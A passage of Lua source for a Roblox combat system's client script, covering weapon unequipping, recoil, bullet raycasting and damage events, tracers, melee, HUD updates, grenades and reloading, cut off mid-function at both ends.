guncf) WeaponInHand.Parent = ViewModel if Ammo <= 0 and WeaponData.Type == "Gun" then WeaponInHand.Handle.Slide.C0 = WeaponData.SlideEx:inverse() end EquipAnim() if WeaponData and WeaponData.Type ~= "Grenade" then RunCheck() end end function unset() ToolEquip = false Evt.Equip:FireServer(WeaponTool,2) --unsetup weapon data module CAS:UnbindAction("Fire") CAS:UnbindAction("ADS") CAS:UnbindAction("Reload") CAS:UnbindAction("CycleLaser") CAS:UnbindAction("CycleLight") CAS:UnbindAction("CycleFiremode") CAS:UnbindAction("CycleAimpart") CAS:UnbindAction("ZeroUp") CAS:UnbindAction("ZeroDown") CAS:UnbindAction("CheckMag") mouse1down = false aimming = false TS:Create(cam,AimTween,{FieldOfView = 70}):Play() TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() User.MouseIconEnabled = true game:GetService('UserInputService').MouseDeltaSensitivity = 1 cam.CameraType = Enum.CameraType.Custom plr.CameraMode = Enum.CameraMode.Classic if WeaponInHand then if WeaponData.Type == "Gun" then local chambered = true if WeaponData.Jammed or Ammo < 1 then chambered = false end Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed) --WeaponData.AmmoInGun = Ammo --WeaponData.StoredAmmo = StoredAmmo end ViewModel:Destroy() ViewModel = nil WeaponInHand = nil WeaponTool = nil LArm = nil RArm = nil LArmWeld = nil RArmWeld = nil WeaponData = nil AnimData = nil SightAtt = nil reticle = nil BarrelAtt = nil UnderBarrelAtt = nil OtherAtt = nil LaserAtt = false LaserActive = false IRmode = false TorchAtt = false TorchActive = false BipodAtt = false BipodActive = false LaserDist = 0 Pointer = nil BSpread = nil RecoilPower = nil Suppressor = false FlashHider = false CancelReload = false reloading = false SafeMode = false CheckingMag = false GRDebounce = false CookGrenade = false GunStance = 0 resetMods() generateBullet = 1 AimPartMode = 1 SE_GUI.GunHUD.Visible = false SE_GUI.GrenadeForce.Visible = false BipodCF = CFrame.new() if gameRules.ReplicatedLaser then Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool) end end --if runKeyDown then -- SetWalkSpeed(gameRules.RunWalkSpeed) --elseif Crouched then -- SetWalkSpeed(gameRules.CrouchWalkSpeed) --elseif Proned then -- SetWalkSpeed(gameRules.ProneWalkSpeed) --elseif Steady then -- SetWalkSpeed(gameRules.SlowPaceWalkSpeed) --else -- SetWalkSpeed(gameRules.NormalWalkSpeed) --end end local HalfStep = false function HeadMovement() if gameRules.HeadMovement or WeaponInHand then if not char:FindFirstChild("HumanoidRootPart") or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end; if char.Humanoid.RigType == Enum.HumanoidRigType.R15 then return; end; if not ACS_Client or ACS_Client:GetAttribute("Collapsed") then return; end; local CameraDirection = char.HumanoidRootPart.CFrame:toObjectSpace(cam.CFrame).lookVector if Neck then HalfStep = not HalfStep local neckCFrame = CFNew(0, -.5, 0) * CFAng(0, Asin(CameraDirection.x)/1.15, 0) * CFAng(-Asin(cam.CFrame.LookVector.y)+Asin(char.Torso.CFrame.lookVector.Y), 0, 0) * CFAng(-math.rad(90), 0, math.rad(180)) TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play() if not HalfStep then return; end; Evt.HeadRot:FireServer(neckCFrame) end elseif not gameRules.HeadMovement then local neckCFrame = CFrame.new(0,-0.5,0) * CFrame.Angles(math.rad(90),math.rad(180),0) TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play() Evt.HeadRot:FireServer(neckCFrame) end end function renderCam() cam.CFrame = cam.CFrame*CFrame.Angles(cameraspring.p.x,cameraspring.p.y,cameraspring.p.z) end function renderGunRecoil() recoilcf = recoilcf*CFrame.Angles(RecoilSpring.p.x,RecoilSpring.p.y,RecoilSpring.p.z) end function Recoil() local vr = (math.random(WeaponData.camRecoil.camRecoilUp[1], WeaponData.camRecoil.camRecoilUp[2])/2) * ModTable.camRecoilMod.RecoilUp local lr = (math.random(WeaponData.camRecoil.camRecoilLeft[1], WeaponData.camRecoil.camRecoilLeft[2])) * ModTable.camRecoilMod.RecoilLeft local rr = (math.random(WeaponData.camRecoil.camRecoilRight[1], WeaponData.camRecoil.camRecoilRight[2])) * ModTable.camRecoilMod.RecoilRight local hr = (math.random(-rr, lr)/2) local tr = (math.random(WeaponData.camRecoil.camRecoilTilt[1], WeaponData.camRecoil.camRecoilTilt[2])/2) * ModTable.camRecoilMod.RecoilTilt local RecoilX = math.rad(vr * RAND( 1, 1, .1)) local RecoilY = math.rad(hr * RAND(-1, 1, .1)) local RecoilZ = math.rad(tr * RAND(-1, 1, .1)) local gvr = (math.random(WeaponData.gunRecoil.gunRecoilUp[1], WeaponData.gunRecoil.gunRecoilUp[2]) /10) * ModTable.gunRecoilMod.RecoilUp local gdr = (math.random(-1,1) * math.random(WeaponData.gunRecoil.gunRecoilTilt[1], WeaponData.gunRecoil.gunRecoilTilt[2]) /10) * ModTable.gunRecoilMod.RecoilTilt local glr = (math.random(WeaponData.gunRecoil.gunRecoilLeft[1], WeaponData.gunRecoil.gunRecoilLeft[2])) * ModTable.gunRecoilMod.RecoilLeft local grr = (math.random(WeaponData.gunRecoil.gunRecoilRight[1], WeaponData.gunRecoil.gunRecoilRight[2])) * ModTable.gunRecoilMod.RecoilRight local ghr = (math.random(-grr, glr)/10) local ARR = WeaponData.AimRecoilReduction * ModTable.AimRM if BipodActive then cameraspring:accelerate(Vector3.new( RecoilX, RecoilY/2, 0 )) if not aimming then RecoilSpring:accelerate(Vector3.new( math.rad(.25 * gvr * RecoilPower), math.rad(.25 * ghr * RecoilPower), math.rad(.25 * gdr))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower ),math.rad(.25 * ghr * RecoilPower ),math.rad(.25 * gdr * RecoilPower )) else RecoilSpring:accelerate(Vector3.new( math.rad( .25 * gvr * RecoilPower/ARR) , math.rad(.25 * ghr * RecoilPower/ARR), math.rad(.25 * gdr/ ARR))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower/ARR ),math.rad(.25 * ghr * RecoilPower/ARR ),math.rad(.25 * gdr * RecoilPower/ARR )) end Thread:Wait(0.05) cameraspring:accelerate(Vector3.new(-RecoilX, -RecoilY/2, 0)) else cameraspring:accelerate(Vector3.new( RecoilX , RecoilY, RecoilZ )) if not aimming then RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower), math.rad(ghr * RecoilPower), math.rad(gdr))) recoilcf = recoilcf * CFrame.new(0,-0.05,.1) * CFrame.Angles( math.rad( gvr * RecoilPower ),math.rad( ghr * RecoilPower ),math.rad( gdr * RecoilPower )) else RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower/ARR) , math.rad(ghr * RecoilPower/ARR), math.rad(gdr/ ARR))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad( gvr * RecoilPower/ARR ),math.rad( ghr * RecoilPower/ARR ),math.rad( gdr * RecoilPower/ARR )) end end end function CheckForHumanoid(L_225_arg1) local L_226_ = false local L_227_ = nil if L_225_arg1 then if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then L_226_ = true if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') end else L_226_ = false end end return L_226_, L_227_ end function CastRay(Bullet, Origin) if not Bullet then return; end; local Bpos = Bullet.Position local Bpos2 = cam.CFrame.Position local recast = false local TotalDistTraveled = 0 local Debounce = false local raycastResult local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true while Bullet do Run.Heartbeat:Wait() if not Bullet.Parent then break; end; Bpos = Bullet.Position TotalDistTraveled = (Bullet.Position - Origin).Magnitude if TotalDistTraveled > 7000 then Bullet:Destroy() Debounce = true break end for _, plyr in pairs(game.Players:GetPlayers()) do if Debounce or plyr == plr or not plyr.Character or not plyr.Character:FindFirstChild('Head') or (plyr.Character.Head.Position - Bpos).magnitude > 25 then continue; end; Evt.Whizz:FireServer(plyr) Evt.Suppression:FireServer(plyr,1,nil,nil) Debounce = true end -- Set an origin and directional vector raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams) recast = false if raycastResult then local Hit2 = raycastResult.Instance if Hit2 and Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') then for _,players in pairs(game.Players:GetPlayers()) do if players.Character then for i, hats in pairs(players.Character:GetChildren()) do if hats:IsA("Accessory") then table.insert(Ignore_Model, hats) end end end end recast = true CastRay(Bullet, Origin) break end if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet, Origin) break end if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2.Parent) recast = true CastRay(Bullet, Origin) break end if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet, Origin) break end if not recast then Bullet:Destroy() Debounce = true local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance) HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) local HitPart = raycastResult.Instance TotalDistTraveled = (raycastResult.Position - Origin).Magnitude if FoundHuman == true and VitimaHuman.Health > 0 and WeaponData then local SKP_02 = SKP_01.."-"..plr.UserId if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 1, WeaponData, ModTable, nil, nil, SKP_02) elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "Right Arm" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 2, WeaponData, ModTable, nil, nil, SKP_02) elseif HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 3, WeaponData, ModTable, nil, nil, SKP_02) end end end break end Bpos2 = Bpos end end local Tracers = 0 function TracerCalculation() if not WeaponData.Tracer and not WeaponData.BulletFlare then return false; end; if WeaponData.RandomTracer.Enabled then if math.random(1, 100) <= WeaponData.RandomTracer.Chance then return true; end; return false; end; if Tracers >= WeaponData.TracerEveryXShots then Tracers = 0; return true; end; Tracers = Tracers + 1; return false; end; function CreateBullet() if WeaponData.IsLauncher then for _, cPart in pairs(WeaponInHand:GetChildren()) do if cPart.Name == "Warhead" then cPart.Transparency = 1 end end end local Bullet = Instance.new("Part",ACS_Workspace.Client) Bullet.Name = plr.Name.."_Bullet" Bullet.CanCollide = false Bullet.Shape = Enum.PartType.Ball Bullet.Transparency = 1 Bullet.Size = Vector3.new(1,1,1) local Origin = WeaponInHand.Handle.Muzzle.WorldPosition local Direction = WeaponInHand.Handle.Muzzle.WorldCFrame.LookVector + (WeaponInHand.Handle.Muzzle.WorldCFrame.UpVector * (((WeaponData.BulletDrop * WeaponData.CurrentZero/4)/WeaponData.MuzzleVelocity))/2) local BulletCF = CFrame.new(Origin, Direction) local WalkMul = WeaponData.WalkMult * ModTable.WalkMult local BColor = Color3.fromRGB(255,255,255) local balaspread if aimming and WeaponData.Bullets <= 1 then balaspread = CFrame.Angles( math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)) ) else balaspread = CFrame.Angles( math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10) ) end Direction = balaspread * Direction local Visivel = TracerCalculation() if WeaponData.RainbowMode then BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255)) else BColor = WeaponData.TracerColor end if Visivel then if gameRules.ReplicatedBullets then Evt.ServerBullet:FireServer(Origin,Direction,WeaponData,ModTable) end if WeaponData.Tracer == true then local At1 = Instance.new("Attachment") At1.Name = "At1" At1.Position = Vector3.new(-(.05),0,0) At1.Parent = Bullet local At2 = Instance.new("Attachment") At2.Name = "At2" At2.Position = Vector3.new((.05),0,0) At2.Parent = Bullet local Particles = Instance.new("Trail") Particles.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.WidthScale = NumberSequence.new({ NumberSequenceKeypoint.new(0, 2, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.Color = ColorSequence.new(BColor) Particles.Texture = "rbxassetid://232918622" Particles.TextureMode = Enum.TextureMode.Stretch Particles.FaceCamera = true Particles.LightEmission = 1 Particles.LightInfluence = 0 Particles.Lifetime = .25 Particles.Attachment0 = At1 Particles.Attachment1 = At2 Particles.Parent = Bullet end if WeaponData.BulletFlare == true then local bg = Instance.new("BillboardGui", Bullet) bg.Adornee = Bullet bg.Enabled = false local flashsize = math.random(275, 375)/10 bg.Size = UDim2.new(flashsize, 0, flashsize, 0) bg.LightInfluence = 0 local flash = Instance.new("ImageLabel", bg) flash.BackgroundTransparency = 1 flash.Size = UDim2.new(1, 0, 1, 0) flash.Position = UDim2.new(0, 0, 0, 0) flash.Image = "http://www.roblox.com/asset/?id=1047066405" flash.ImageTransparency = math.random(2, 5)/15 flash.ImageColor3 = BColor spawn(function() wait(.1) if not Bullet:FindFirstChild("BillboardGui") then return; end; Bullet.BillboardGui.Enabled = true end) end end local BulletMass = Bullet:GetMass() local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0) local BF = Instance.new("BodyForce",Bullet) Bullet.CFrame = BulletCF Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity) BF.Force = Force game.Debris:AddItem(Bullet, 5) CastRay(Bullet, Origin) end function meleeCast() local recast -- Set an origin and directional vector local rayOrigin = cam.CFrame.Position local rayDirection = cam.CFrame.LookVector * WeaponData.BladeRange local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true local raycastResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams) if raycastResult then local Hit2 = raycastResult.Instance --Check if it's a hat or accessory if Hit2 and Hit2.Parent:IsA('Accessory') then for _,players in pairs(game.Players:GetPlayers()) do if not players.Character then continue; end; for i, hats in pairs(players.Character:GetChildren()) do if not hats:IsA("Accessory") then continue; end; table.insert(Ignore_Model, hats) end end return meleeCast() end if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2) return meleeCast() end if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2.Parent) return meleeCast() end if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) return meleeCast() end end if not raycastResult then return; end; local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance) HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) local HitPart = raycastResult.Instance if not FoundHuman or VitimaHuman.Health <= 0 then return; end; local SKP_02 = SKP_01.."-"..plr.UserId if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 1, WeaponData, ModTable, nil, nil, SKP_02) end) elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 2, WeaponData, ModTable, nil, nil, SKP_02) end) elseif HitPart.Name == "Right Arm" or HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 3, WeaponData, ModTable, nil, nil, SKP_02) end) end; end; function UpdateGui() if not SE_GUI or not WeaponData then return; end; local HUD = SE_GUI.GunHUD HUD.NText.Text = WeaponData.gunName HUD.BText.Text = WeaponData.BulletType HUD.A.Visible = SafeMode HUD.Att.Silencer.Visible = Suppressor HUD.Att.Bipod.Visible = BipodAtt HUD.Sens.Text = (Sens/100) if WeaponData.Jammed then HUD.B.BackgroundColor3 = Color3.fromRGB(255,0,0) else HUD.B.BackgroundColor3 = Color3.fromRGB(255,255,255) end if Ammo > 0 then HUD.B.Visible = true else HUD.B.Visible = false end if WeaponData.ShootType == 1 then HUD.FText.Text = "Semi" elseif WeaponData.ShootType == 2 then HUD.FText.Text = "Burst" elseif WeaponData.ShootType == 3 then HUD.FText.Text = "Auto" elseif WeaponData.ShootType == 4 then HUD.FText.Text = "Pump-Action" elseif WeaponData.ShootType == 5 then HUD.FText.Text = "Bolt-Action" end if WeaponData.EnableZeroing then HUD.ZeText.Visible = true HUD.ZeText.Text = WeaponData.CurrentZero .." m" else HUD.ZeText.Visible = false end if WeaponData.MagCount then HUD.SAText.Text = math.ceil(StoredAmmo/WeaponData.Ammo) HUD.Magazines.Visible = true HUD.Bullets.Visible = false else HUD.SAText.Text = StoredAmmo HUD.Magazines.Visible = false HUD.Bullets.Visible = true end if LaserAtt then HUD.Att.Laser.Visible = true if LaserActive then if IRmode then TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(0,255,0), ImageTransparency = .123}):Play() else TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play() end else TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play() end else HUD.Att.Laser.Visible = false end if TorchAtt then HUD.Att.Flash.Visible = true if TorchActive then TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play() else TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play() end else HUD.Att.Flash.Visible = false end if WeaponData.Type == "Grenade" then SE_GUI.GrenadeForce.Visible = true else SE_GUI.GrenadeForce.Visible = false end end function CheckMagFunction() if aimming then aimming = false ADS(aimming) end if SE_GUI then local HUD = SE_GUI.GunHUD TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{TextTransparency = 0,TextStrokeTransparency = 0.75}):Play() if Ammo >= WeaponData.Ammo then HUD.CMText.Text = "Full" elseif Ammo > math.floor((WeaponData.Ammo)*.75) and Ammo < WeaponData.Ammo then HUD.CMText.Text = "Nearly full" elseif Ammo < math.floor((WeaponData.Ammo)*.75) and Ammo > math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Almost half" elseif Ammo == math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Half" elseif Ammo > math.ceil((WeaponData.Ammo)*.25) and Ammo < math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Less than half" elseif Ammo < math.ceil((WeaponData.Ammo)*.25) and Ammo > 0 then HUD.CMText.Text = "Almost empty" elseif Ammo == 0 then HUD.CMText.Text = "Empty" end delay(.25,function() TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,5),{TextTransparency = 1,TextStrokeTransparency = 1}):Play() end) end mouse1down = false SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() MagCheckAnim() RunCheck() end function Grenade() if GRDebounce then return; end; GRDebounce = true; GrenadeReady() repeat wait() until not CookGrenade; TossGrenade() end function TossGrenade() if not WeaponTool or not WeaponData or not GRDebounce then return; end; local SKP_02 = SKP_01.."-"..plr.UserId GrenadeThrow() if not WeaponTool or not WeaponData then return; end; Evt.Grenade:FireServer(WeaponTool,WeaponData,cam.CFrame,cam.CFrame.LookVector,Power,SKP_02) unset() end function GrenadeMode() if Power >= 150 then Power = 100 SE_GUI.GrenadeForce.Text = "Mid Throw" elseif Power >= 100 then Power = 50 SE_GUI.GrenadeForce.Text = "Low Throw" elseif Power >= 50 then Power = 150 SE_GUI.GrenadeForce.Text = "High Throw" end end function JamChance() if not WeaponData or not WeaponData.CanBreak or WeaponData.Jammed or Ammo - 1 <= 0 then return; end; local Jam = math.random(1000) if Jam > 2 then return; end; WeaponData.Jammed = true WeaponInHand.Handle.Click:Play() end function Jammed() if not WeaponData or WeaponData.Type ~= "Gun" or not WeaponData.Jammed then return; end; mouse1down = false reloading = true SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() JammedAnim() WeaponData.Jammed = false UpdateGui() reloading = false RunCheck() end function Reload() if WeaponData.Type == "Gun" and StoredAmmo > 0 and (Ammo < WeaponData.Ammo or WeaponData.IncludeChamberedBullet and Ammo < WeaponData.Ammo + 1) then mouse1down = false reloading = true SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() if WeaponData.ShellInsert then if Ammo > 0 then for i = 1,WeaponData.Ammo - Ammo do if StoredAmmo > 0 and Ammo < WeaponData.Ammo then if CancelReload then break end ReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() end end else TacticalReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() for i = 1,WeaponData.Ammo - Ammo do if StoredAmmo > 0 and WeaponData and Ammo < WeaponData.Ammo then if CancelReload then break end ReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() end end end else if Ammo > 0 then ReloadAnim() else TacticalReloadAnim() end if WeaponData then if (Ammo - (WeaponData.Ammo - StoredAmmo)) < 0 then Ammo = Ammo + StoredAmmo StoredAmmo = 0 elseif Ammo <= 0 then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) Ammo = WeaponData.Ammo elseif Ammo > 0 and WeaponData.IncludeChamberedBullet then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) - 1 Ammo = WeaponData.Ammo + 1 elseif Ammo > 0 and not WeaponData.IncludeChamberedBullet then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) Ammo = WeaponData.Ammo end end end if WeaponData.Type == "Gun" and WeaponData.IsLauncher then 